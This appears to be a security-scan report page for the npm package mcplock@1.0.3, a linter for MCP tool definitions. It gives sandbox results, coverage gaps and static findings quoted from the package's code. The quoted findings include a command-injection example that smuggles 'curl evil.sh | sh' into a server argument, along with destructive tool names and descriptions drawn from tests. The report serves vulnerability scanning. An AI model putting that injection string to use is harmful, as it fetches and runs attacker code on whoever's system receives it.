mcplock@1.0.3
VERIFIED· not startedPublisher claims: "Pin, diff, and lint MCP tool definitions — npm audit / SRI for MCP tools." Observed in sandbox: no network, touches nothing outside the project, writes no memory.
Coverage
Not started: dependency install failed; the server itself was not observed.- Tested
- the dependency install step · every file read, file written and host contacted by what ran
- Not tested
- server startup · the tool list · tool behavior
What this means for the label: Verified here covers what ran. The server's tools were not exercised with a real credential, so nothing about their behavior is asserted; the credential summary below says what to do with that.
Before you give it your token
- It will ask for
- no credential variables read in the code
- Where it talks to
- no vendor host named in the code
- What the honeypot saw
- no credential files read · no network
- What we could not test
- server startup · the tool list · tool behavior
Connect it under the guard. Not started: dependency install failed; the server itself was not observed. The code names no credential variable; the guard pins the network to what the honeypot saw and logs every call.
Never paste a credential into a chat, a ticket or a report, including ours. How the guard holds it.
Is [email protected] safe to install?
KillerSkills ran it in the KillerSkills honeypot sandbox (2 scenarios; not started: dependency install failed; the server itself was not observed) on 2026-11-11 and scored it 85/100 (Verified). In what ran, nothing we could detect went wrong: no undeclared network egress, no credential reads, no persistent instruction writes. What it does with a real credential was not observed; the static findings and the publisher carry the rest of the score. Summary: no network, touches nothing outside the project, writes no memory.
Behavior trace
Honeypot run · 0 s · 2 scenarios · 0 deviationsStatic findings
grant revoke kill terminate""".split()Fix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.assert resolve_target("npx -y server", "auto").transport == "stdio"Fix: Pin versions and sources; vendor anything fetched at install time.help='Server command (e.g. "npx -y @modelcontextprotocol/server-filesystem ./data") 'Fix: Pin versions and sources; vendor anything fetched at install time.regardless of quoting — a ``server`` input of ``foo"; curl evil.sh | sh; #``Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out."""Parse a stdio command line, e.g. ``npx -y @scope/server /tmp``.Fix: Pin versions and sources; vendor anything fetched at install time.target = ServerTarget.from_command(r"npx server C:\data\notes")Fix: Pin versions and sources; vendor anything fetched at install time."Read a single note from the notes directory, then delete it. "Fix: Keep SKILL.md to visible, descriptive text. Remove comments and encoded text that address the agent."server_command": "npx -y @modelcontextprotocol/server-filesystem D:\\MCP_PROJECT\\sandbox",Fix: Pin versions and sources; vendor anything fetched at install time.server_id = derive_server_id("npx -y @scope/server https://x.test/a?b=c")Fix: Pin versions and sources; vendor anything fetched at install time.return subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.* stdio — a local server launched as a subprocess (``npx ...``, ``python ...``)Fix: Pin versions and sources; vendor anything fetched at install time.regardless of quoting — a ``server`` input of ``foo"; curl evil.sh | sh; #``Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.tool("purge_notes", "Delete every note permanently."),Fix: Keep SKILL.md to visible, descriptive text. Remove comments and encoded text that address the agent.assert "" in next(t for t in drifted if t["name"] == "read_note")["description"]Fix: Keep SKILL.md to visible, descriptive text. Remove comments and encoded text that address the agent.COMMAND = "npx -y @modelcontextprotocol/server-filesystem ./data"Fix: Pin versions and sources; vendor anything fetched at install time.resolve_target("npx -y server", "carrier-pigeon")Fix: Pin versions and sources; vendor anything fetched at install time.Cost to the agent
Tokens estimated at four characters each. The tool list is re-read by the agent on every turn, so it is the number to compare between servers that do the same job: ranked across the index.
Known vulnerabilities
No advisories in OSV for mcplock@1.0.3 as of 4d ago. This is the package itself, not its dependencies.